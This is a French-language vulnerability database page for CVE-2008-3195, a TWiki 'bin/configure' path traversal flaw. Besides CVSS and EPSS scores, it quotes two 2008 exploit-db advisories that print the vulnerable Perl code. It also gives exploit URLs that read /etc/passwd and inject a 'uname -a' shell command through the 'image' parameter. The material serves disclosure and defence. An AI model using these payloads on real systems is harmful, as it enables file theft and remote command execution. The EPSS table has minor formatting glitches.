CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Directory traversal vulnerability in bin/configure in TWiki before 4.2.3, when a certain step in the installation guide is skipped, allows remote attackers to read arbitrary files via a query string containing a .. (dot dot) in the image variable, and execute arbitrary files via unspecified vectors.
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
6.8
AV:N/AC:M/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
2.17%
–
–
2022-03-20
–
–
2.17%
–
–
2022-04-03
–
–
2.17%
–
–
2022-07-17
–
–
2.17%
–
–
2023-02-26
–
–
2.17%
–
–
2023-03-12
–
–
–
12.37%
–
2023-03-26
–
–
–
12.37%
–
2024-06-02
–
–
–
12.37%
–
2024-08-11
–
–
–
12.37%
–
2024-12-22
–
–
–
12.37%
–
2025-02-23
–
–
–
11.73%
–
2025-01-19
–
–
–
12.37%
–
2025-02-23
–
–
–
11.73%
–
2025-03-18
–
–
–
–
51.51%
2025-03-18
–
–
–
–
51.51,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2008-08-18 22h00 +00:00 Auteur : Th1nk3r EDB Vérifié : Yes
################################################################################################################
# #
# TWiki 4.2.0 File Disclosure Vuln (configure) #
# #
################################################################################################################
"We're brazilian newbies!!! :p" - Th1nk3r
Info
----------------------------------------------------------------------------------------------------------------
Classe : Input Validation Error
Remote : Yes
Local : No
Date : 05/08/2008
Credits : Th1nk3r (cnwfhguohrugbo / gmail.com)
Greetz : w4n73d h4ck3r, Vitor, Vonnatur, FuradordeSyS, B470-Killer, M4v3rick.
Description
----------------------------------------------------------------------------------------------------------------
TWiki version 4.2.0 (I haven't tested other versions) is vulnerable to a File Disclosure. It's only possible
to exploit the bug if you can access the "/bin/configure" script.
Otherwise, you can not exploit this bug.
Vulnerable code of "/bin/configure" script:
if( $action eq 'image' ) {
# SMELL: this call is correct, but causes a perl error
# on some versions of CGI.pm
# print $query->header(-type => $query->param('type'));
# So use this instead:
print 'Content-type: '.$query->param('type')."\n\n";
if( open(F, 'logos/'.$query->param('image' ))) {
local $/ = undef;
print <F>;
close(F);
}
exit 0;
}
The bug is in the open() function. The file is set by visitor, and there is no protection added
by the programmer.
Note that "$query->param('type')" can be set by the visitor. Therefore, you'll set it to "text/plain".
Exploit
----------------------------------------------------------------------------------------------------------------
To exploit the bug, you just need set the "image" variable to the path of file you wish to view.
The file will be revealed if you have permission to view it.
By example, to show the "/etc/passwd" file content, go to :
http://www.examplo.org/{PATH}/bin/configure?action=image;image=../../../../../../etc/passwd;type=text/plain
Solution
----------------------------------------------------------------------------------------------------------------
Read "http://twiki.org/cgi-bin/view/TWiki/TWikiInstallationGuide", Basic Installation, topic 8, for
more information of how to protect your "configure" script.
# milw0rm.com [2008-08-19]
Date de publication : 2008-09-20 22h00 +00:00 Auteur : webDEViL EDB Vérifié : Yes
#-----------webDEViL - [ w3bd3vil [at] gmail [dot] com ] -----------#
#-----------TWiki Remote Code Execution <= 4.2.2--------------------#
# ----------developers site: http://www.twiki.org-------------------#
# ----------CVE Id(s) : CVE-2008-3195--------------------------#
# http://twiki.org/cgi-bin/view/Codev/DownloadTWiki#4_2_3_Bugfix_Highlights
The "configure" file in TWiki's bin folder is vulnerable to code execution and local file inclusion.
According to TWiki's documentation this file is meant to be protected with .htaccess, but many a times you find it is not ;)
Vulnerable code:
if( $action eq 'image' ) {
# SMELL: this call is correct, but causes a perl error
# on some versions of CGI.pm
# print $query->header(-type => $query->param('type'));
# So use this instead:
print 'Content-type: '.$query->param('type')."\n\n";
if( open(F, 'logos/'.$query->param('image' ))) {
local $/ = undef;
print <F>;
close(F);
}
http://localhost/twiki/bin/configure?action=image;image=../../../../../../../etc/passwd;type=text/plain
http://localhost/twiki/bin/configure?action=image;image=|uname -a|;type=text/plain
# milw0rm.com [2008-09-21]